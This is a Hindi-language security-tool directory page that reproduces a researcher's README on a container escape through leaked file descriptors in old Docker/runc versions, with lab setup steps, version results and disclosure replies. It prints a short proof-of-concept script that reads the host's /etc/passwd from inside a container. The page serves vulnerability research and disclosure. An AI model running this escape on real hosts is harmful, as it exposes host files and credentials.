Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/sk3pper/cve-2024-21626-old-docker-versions
कंटेनर सुरक्षाभेद्यता विश्लेषणशोषणलर्निंग और शिक्षाकंटेनर एस्केपलैब और अभ्यास
GitHubsk3pper/cve-2024-21626-old-docker-versions

CVE-2024-21626-old-docker-versions

कंटेनर एस्केप भेद्यता का विश्लेषण और शोषण करता है, जो पुराने Docker/runc संस्करणों में पाई जाती है, fd लीकेज के माध्यम से होस्ट फाइलसिस्टम तक पहुंच प्रदर्शित करता है, साथ ही सेटअप और परीक्षण स्क्रिप्ट के साथ।

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें
61 साल पहलेअभी तक समीक्षित नहीं

पुराने runc घटकों में कंटेनर एस्केप भेद्यता (CVE-2024-21626)

मेरे विश्लेषण के दौरान CVE-2024-21626 के बारे में मैंने पाया कि अन्य पुराने डॉकर घटक fd लीकेज के प्रति संवेदनशील हैं (जिसका उल्लेख सुरक्षा सलाहकार GHSA-xr7r-f8xq-vfvv में नहीं किया गया है)। विस्तृत स्पष्टीकरण के लिए मेरा पूरा लेख यहाँ पढ़ें।

1. वातावरण सेटअप करें 🔨

A. Ubuntu 18.04.6 LTS (Bionic Beaver) संस्करण डाउनलोड करें और इंस्टॉल करें

इंस्टॉलेशन के दौरान अपडेट सिस्टम डाउनलोड करने का विकल्प चेक न करें।

B. संवेदनशील डॉकर संस्करण और संबंधित घटक इंस्टॉल करें

  • परीक्षण के लिए https://download.docker.com/linux/static/stable/x86_64/ पर जाएं और पुराना संस्करण docker-X.Y.Z-ce.tgz डाउनलोड करें

  • इसे निकालें (extract), सामग्री को /usr/bin पथ पर कॉपी करें और Docker डेमॉन चलाएँ।

    root@kitploit:~
    cd Downloads/
    tar xzvf <docker-X.Y.Z-ce.tgz>
    sudo cp docker/* /usr/bin/
    sudo dockerd &
    

C. इंस्टॉल किए गए संस्करणों की जाँच करें

root@kitploit:~
sudo docker version
containerd --version
uname -r

पुराने संस्करणों में हमारे पास runc के बजाय docker-runc होता है। इसलिए इसे जाँचें:

root@kitploit:~
ls -la /usr/bin | grep docker
    -rwxr-xr-x  1 root root    14128576 mar 19 10:54 docker
    -rwxr-xr-x  1 root root     8932648 mar 19 10:54 docker-containerd
    -rwxr-xr-x  1 root root     8381448 mar 19 10:54 docker-containerd-ctr
    -rwxr-xr-x  1 root root     3047368 mar 19 10:54 docker-containerd-shim
    -rwxr-xr-x  1 root root    39989264 mar 19 10:54 dockerd
    -rwxr-xr-x  1 root root      772400 mar 19 10:54 docker-init
    -rwxr-xr-x  1 root root     2534781 mar 19 10:54 docker-proxy
    -rwxr-xr-x  1 root root     7092608 mar 19 10:54 docker-runc

ls -la /usr/bin| grep runc
    -rwxr-xr-x  1 root root       10232 mar 18  2018 bdftruncate
    -rwxr-xr-x  1 root root     7092608 mar 19 10:54 docker-runc
    -rwxr-xr-x  1 root root       35000 gen 18  2018 runcon
    -rwxr-xr-x  1 root root       39096 gen 18  2018 truncate

doker-runc/runc का संस्करण जाँचें

root@kitploit:~
runc --version
docker-runc -v

2. जाँचें कि लक्ष्य संवेदनशील है या नहीं और सही fd खोजें 🧐

checkVulnerability.sh चलाएँ और देखें कि फ़ाइल टर्मिनल में प्रिंट होती है या नहीं।

root@kitploit:~
# checkVulnerability.sh
#! /bin/bash
for i in {4..20}; do
    sudo docker run -it --rm -w /proc/self/fd/$i alpine:3.14.3 sh -c "tail /proc/self/cwd/../../../etc/passwd"
    echo ""
done
root@kitploit:~
# clone CVE-2024-21626-old-docker-versions repository
git clone [email protected]:Sk3pper/CVE-2024-21626-old-docker-versions.git

# run checkVulnerability.sh
chmod +x checkVulnerability.sh
./checkVulnerability.sh

इस उदाहरण के लिए मैंने docker-17.03.1-ce संस्करण का उपयोग किया। भेद्यता जाँचें और fd खोजें

3. एक्सप्लॉइट आज़माएँ 🔫

इस उदाहरण के लिए मैंने docker-17.03.1-ce संस्करण का उपयोग किया।

एक्सप्लॉइट

4. परीक्षण परिणाम 🧪

नीचे मेरे विश्लेषण के परिणाम दिए गए हैं, जो Docker संस्करण और उपयोग किए गए संबंधित runc संस्करण के अनुसार व्यवस्थित हैं।

docker-runc

runc

Docker Versionrunc versionLeaked fd number
docker-18.09.0.tgz1.0.0-rc5+dev❌

यहां तीन अलग-अलग संवेदनशील संस्करणों को दिखाने वाला स्क्रीनशॉट है।

1.0.0-rc21.0.0-rc31.0.0-rc4+dev
1.0.0-rc21.0.0-rc31.0.0-rc4

जैसा कि CVE-2024-21626 में है, विभिन्न प्रकार के हमले अभी भी संभव हैं।

5. निष्कर्ष और मुख्य बातें 🔚

यह भेद्यता CVE-2024-21626 से काफी अलग है क्योंकि:

  1. इसे पुराने Linux संस्करणों में ट्रिगर किया जा सकता है जिनमें openat2 सिसकॉल मौजूद नहीं होता।
  2. लीक हुआ फ़ाइल डिस्क्रिप्टर /run/runc/<container>/ पथ में स्थित होता है, जिसमें चल रहे कंटेनरों की स्थिति होती है, न कि होस्ट की /sys/fs/cgroup डायरेक्टरी में।

मैंने जो खोजा वह यह है कि पुराने संस्करण भी उसी हमला तकनीक के प्रति संवेदनशील हैं। हालाँकि भेद्यता स्वयं अलग है, परिणाम वही है: होस्ट फ़ाइलसिस्टम तक पहुँच प्राप्त करना। मुख्य बात यह है कि केवल सुरक्षा सलाहकारों पर निर्भर न रहें - हर चीज़ का पूरी तरह से परीक्षण करें। CVE को पूरी तरह समझें, यह कैसे काम करता है, एक सुरक्षित वातावरण में इसके साथ प्रयोग करें, और किनारे के मामलों का पता लगाएँ।

6. जिम्मेदार प्रकटीकरण 🕺🏻

मैंने [email protected], [email protected] से संपर्क करने की कोशिश की, और एक CVE खोलने का प्रयास किया। मुझे निम्नलिखित उत्तर प्राप्त हुए:

टूल डाउनलोड करें
Docker Versiondocker-runc versionLeaked fd number
docker-17.03.1-ce.tgz1.0.0-rc2/proc/self/fd/4
docker-17.03.2-ce.tgz1.0.0-rc2/proc/self/fd/4
docker-17.06.0-ce.tgz1.0.0-rc3/proc/self/fd/5
docker-17.06.1-ce.tgz1.0.0-rc3/proc/self/fd/5
docker-17.06.2-ce.tgz1.0.0-rc3/proc/self/fd/5
docker-17.09.0-ce.tgz1.0.0-rc4+dev/proc/self/fd/5
docker-17.09.1-ce.tgz1.0.0-rc4+dev/proc/self/fd/5
docker-17.12.0-ce.tgz1.0.0-rc4+dev❌
docker-17.12.1-ce.tgz1.0.0-rc4+dev❌
docker-18.03.0-ce.tgz❌
docker-18.06.3-ce.tgz1.0.0-rc5+dev❌
RequestReply
[email protected] (19/03/24)आपके द्वारा सूचीबद्ध किए गए संस्करण सॉफ़्टवेयर के सभी EOL संस्करण हैं (~7 वर्ष पुराने) और अब Docker द्वारा पैच या रखरखाव नहीं किए जाते हैं। यदि आपको मौजूदा GHSA-xr7r-f8xq-vfvv सलाहकार में सूचीबद्ध संस्करणों या शब्दों के बारे में कोई चिंता है ("affected versions: >= 1.0.0-rc93, <= 1.1.11"), तो इसकी रिपोर्ट करने के लिए सही चैनल OCI सुरक्षा मेलबॉक्स होना चाहिए: https://github.com/opencontainers/.github/blob/main/SECURITY.md संपर्क करने के लिए धन्यवाद। अगर हम कुछ और कर सकते हैं तो हमें बताएं।
[email protected] (20/03/24)कोई प्रतिक्रिया नहीं
CVE-MITRE (15/05/2024)हम सामान्यतः केवल रिलीज़ कैंडिडेट में मौजूद समस्याओं के लिए CVE आईडी आवंटित नहीं करते हैं। https://www.cve.org/CVERecord?id=CVE-2024-21626 ने runc के रिलीज़ किए गए संस्करणों को प्रभावित किया था, जैसे रिलीज़ 1.1.11।